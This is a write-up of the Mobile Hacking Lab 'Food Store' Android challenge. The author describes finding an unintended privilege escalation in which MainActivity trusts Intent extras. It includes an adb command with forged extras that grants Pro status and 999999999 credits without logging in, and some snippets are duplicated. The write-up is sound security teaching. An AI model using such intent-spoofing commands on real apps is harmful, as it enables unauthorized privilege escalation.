Finding an Unintended Privilege Escalation While Solving Mobile Hacking Lab’s Food Store Challenge

Introduction

I recently started working through the Food Store challenge on Mobile Hacking Lab.

The lab is designed to teach SQL Injection in Android applications. My original goal was simple:

Find the vulnerable signup functionality, exploit the SQL Injection, and become a Pro User.

As usual, I opened the APK in JADX and started tracing the authentication flow.

What I didn't expect was finding a completely different vulnerability before even reaching the intended challenge.

Understanding the Application

The Food Store app has two user types:

Regular User

100 Credits
Standard functionality

Pro User

10,000 Credits
Premium privileges

After successful authentication, users are redirected to MainActivity.

At first glance everything looked normal.

Inside LoginActivity I found the following code:

int credit = user.isPro() ? 10000 : 100;
intent.putExtra("USERNAME", inputUsername);
intent.putExtra("USER_CREDIT", credit);
intent.putExtra("IS_PRO_USER", user.isPro());
intent.putExtra("USER_ADDRESS", user.getAddress());

int credit = user.isPro() ? 10000 : 100;
intent.putExtra("USERNAME", inputUsername);
intent.putExtra("USER_CREDIT", credit);
intent.putExtra("IS_PRO_USER", user.isPro());
intent.putExtra("USER_ADDRESS", user.getAddress());

The application collects information from the authenticated user and forwards it to the next activity.

Nothing suspicious yet.

But security reviews often become interesting when you look at what happens on the receiving side.

Trust Issues

Moving into MainActivity, I found this:

String username = getIntent().getStringExtra("USERNAME");
this.userCredit =
    getIntent().getIntExtra("USER_CREDIT", 0);
boolean isProUser =
    getIntent().getBooleanExtra("IS_PRO_USER", false);

String username = getIntent().getStringExtra("USERNAME");
this.userCredit =
    getIntent().getIntExtra("USER_CREDIT", 0);
boolean isProUser =
    getIntent().getBooleanExtra("IS_PRO_USER", false);

The application was directly consuming values from Intent extras.

No database lookup.

No verification.

No integrity checks.

No session validation.

The activity simply trusted whatever it received.

At that moment a question came to mind:

What happens if I provide those values myself?

Testing the Theory

Instead of logging in normally, I decided to launch the activity manually using ADB.

adb shell am start -n com.mobilehackinglab.foodstore/.MainActivity \
  --es USERNAME "CEO" \
  --ei USER_CREDIT 999999999 \
  --ez IS_PRO_USER true \
  --es USER_ADDRESS "Owned"

adb shell am start -n com.mobilehackinglab.foodstore/.MainActivity \
  --es USERNAME "CEO" \
  --ei USER_CREDIT 999999999 \
  --ez IS_PRO_USER true \
  --es USER_ADDRESS "Owned"

The command executed successfully.

No errors.

No validation.

No complaints from the application.

Figure 1 — Launching MainActivity with Forged Values

Launching MainActivity with attacker-controlled Intent extras.

The Unexpected Result

The application immediately accepted every value I supplied.

Instead of becoming a regular user, I had become:

Guest: CEO
Credits: 999999999
Pro User

Guest: CEO
Credits: 999999999
Pro User

No authentication.

No SQL Injection.

No database modification.

Just trusted client-controlled values.

At this point I was technically the richest customer in the entire Food Store.

Figure 2 — Welcome, CEO

The application displays attacker-controlled username, credit balance, and Pro User status.

Why This Happens

The application assumes that only LoginActivity will ever launch MainActivity.

That assumption becomes dangerous whenever sensitive information is passed through Intents.

The activity effectively says:

"If someone tells me they are a Pro User, I will believe them."

Which is exactly what happened.

The application trusted:

USERNAME
USER_CREDIT
IS_PRO_USER
USER_ADDRESS

USERNAME
USER_CREDIT
IS_PRO_USER
USER_ADDRESS

without independently verifying any of them.

Lessons Learned

One thing I enjoy about Android security labs is that they often teach more than the intended lesson.

This challenge was supposed to be about SQL Injection.

Instead, before reaching the SQL Injection, I stumbled into an authorization weakness caused by trusting Intent extras.

It is a reminder that:

Authentication is not authorization.
Client-controlled data should never be trusted.
Security-sensitive decisions should always come from a trusted source.

Final Thoughts

This was a fun unintended discovery while working through the Food Store challenge.

The challenge author wanted me to think like an attacker targeting SQL Injection.

The application encouraged me to think like an Android reverser.

In the end, I became the CEO of the Food Store with 999,999,999 credits before ever touching the intended vulnerability.

And honestly, that made the lab even more enjoyable.

Mobile Hacking Lab

Food Store Challenge.

https://academy.mobilehackinglab.com/path-player?courseid=lab-food-store&unit=65ae9ca033ea1af0290963deUnit

Connect With Me

LinkedIn: www.linkedin.com/in/mr-abdul-basith-ba826b31b

X (Twitter): https://x.com/abdulbasith1205

Contents